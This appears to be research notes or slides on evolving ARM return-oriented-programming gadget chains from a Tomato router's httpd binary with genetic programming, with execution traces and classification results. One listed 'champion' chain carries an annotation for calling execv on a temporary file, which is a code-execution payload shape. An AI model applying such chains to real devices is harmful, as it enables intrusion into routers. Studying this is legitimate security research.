Created: 2018-04-17 Tue 13:21
At bottom, there is no essential distinction between data and code.
"Data" is just information your system trusts.
But how?
Distribution of gadgets in tomato-RT-N18U-httpd
.
The address visitation heatmap shows no evident loss of diversity,
even after 212 seasons, suggesting a robustly ergodic system.
Champion of the Wiwzuh population:
0000b4ac pop {r4, r5, r6, r7, r8, pc} 0000d1a0 cmp r0, #0 0000d1a4 popeq {r3, r4, r5, pc} 00016654 cmp r0, #0 00016658 ldr r3, [pc, #4] 0001665c moveq r0, r3 00016660 pop {r3, pc} 0001706c ldm sp, {r0, r1} 00017070 add sp, sp, #0x10 00017074 pop {r4, r5, r6, pc} ;; R0: 0001f62f R2: 00000000 ;; R1: &0001f62f R7: 0000000b ;; to call execv("/tmp/flashXXXXXX", ["/tmp/flashXXXXXX"], NULL) 00018fc4 svcvc #0xffffff
These were of interest in two respects:
Here, the gene responsible for correct classification of the data was also responsible for crashing the execution. It rapidly took over the population.
The uneven distribution of register usage puts a skew on any
classification task using the register bid-bin method.
IN: ffffff98 d 0000b4b4 | pop {r4, r5, r6, r7, r8, pc} 0000d9a8 | cmp r0, #0 0000d9ac | moveq r0, r3 0000d9b0 | pop {r3, pc} 0001010c | rsb r5, r5, r0 00010110 | cmp r5, #0x40 00010114 | movgt r0, #0 00010118 | movle r0, #1 0001011c | pop {r4, r5, r6, pc} 0000cdd0 | subs r4, r0, #0 0000cdd4 | popeq {r4, r5, r6, pc} 0000d9ac | moveq r0, r3 0000d9b0 | pop {r3, pc} 00016168 | add r0, r4, r0 0001616c | pop {r3, r4, r5, pc} 0000ad94 | mov r0, r3 0000ad98 | pop {r4, pc} 0001228c | add sp, sp, #0x364 00012290 | add sp, sp, #0x400 00012294 | pop {r4, r5, r6, r7, r8, sb, sl, fp, pc} OUT: ea->0 0->68732e00 ffffff98 ea->0 0->68732e00 0->68732e00 0->68732e00 .... 0->68732e00 0->68732e00 0->68732e00 0->68732e00 0->68732e00 0->68732e00 2b7eb->0 0->68732e00 0->68732e00 R0 (bin): 00000000000000000000000011101010 CLASS: RED
Greater complexity in control flow, perfect classification results, no crashing.
IN: a3 fffffd6f 0000b4b4 | pop {r4, r5, r6, r7, r8, pc} 0000d9a8 | cmp r0, #0 0000d9ac | moveq r0, r3 0000d9b0 | pop {r3, pc} 0001010c | rsb r5, r5, r0 00010110 | cmp r5, #0x40 00010114 | movgt r0, #0 00010118 | movle r0, #1 0001011c | pop {r4, r5, r6, pc} 0000cdd0 | subs r4, r0, #0 0000cdd4 | popeq {r4, r5, r6, pc} 0000cdd8 stray | ldr r1, [pc, #0x1c] 0000cddc stray | mov r2, r4 0000cde0 stray | mov r0, #0 0000cde4 stray | bl #0x59e0 000127c4 stray | push {r1, r2, r3} 000127c8 stray | push {r0, r1, r2, r4, r5, r6, r7, r8, lr} 000127cc stray | mov r6, r0 000127d0 stray | mov r5, #0x400 000127d4 stray | add r7, sp, #0x28 000127d8 stray | ldr r8, [sp, #0x24] 000127dc stray | mov r0, r5 000127e0 stray | bl #4294933396 0000a374 stray | add ip, pc, #0 0000a378 stray | add ip, ip, #0x1e000 0000a37c stray | ldr pc, [ip, #0x5a8]! 0000a138 stray | str lr, [sp, #-4]! 0000a13c stray | ldr lr, [pc, #4] 0000a140 stray | add lr, pc, lr 0000a144 stray | ldr pc, [lr, #8]! OUT: 400->0 1bc01->7365720a 1->7368732e 96106ace 1->7368732e 400->0 0->68732e00 .... 2b02b->1 1bc01->7365720a 0->68732e00 0->68732e00 0->68732e00 28924->a138 2afff->127e4 28868->0 0->68732e00 R0 (bin): 00000000000000000000010000000000 CLASS: BLUE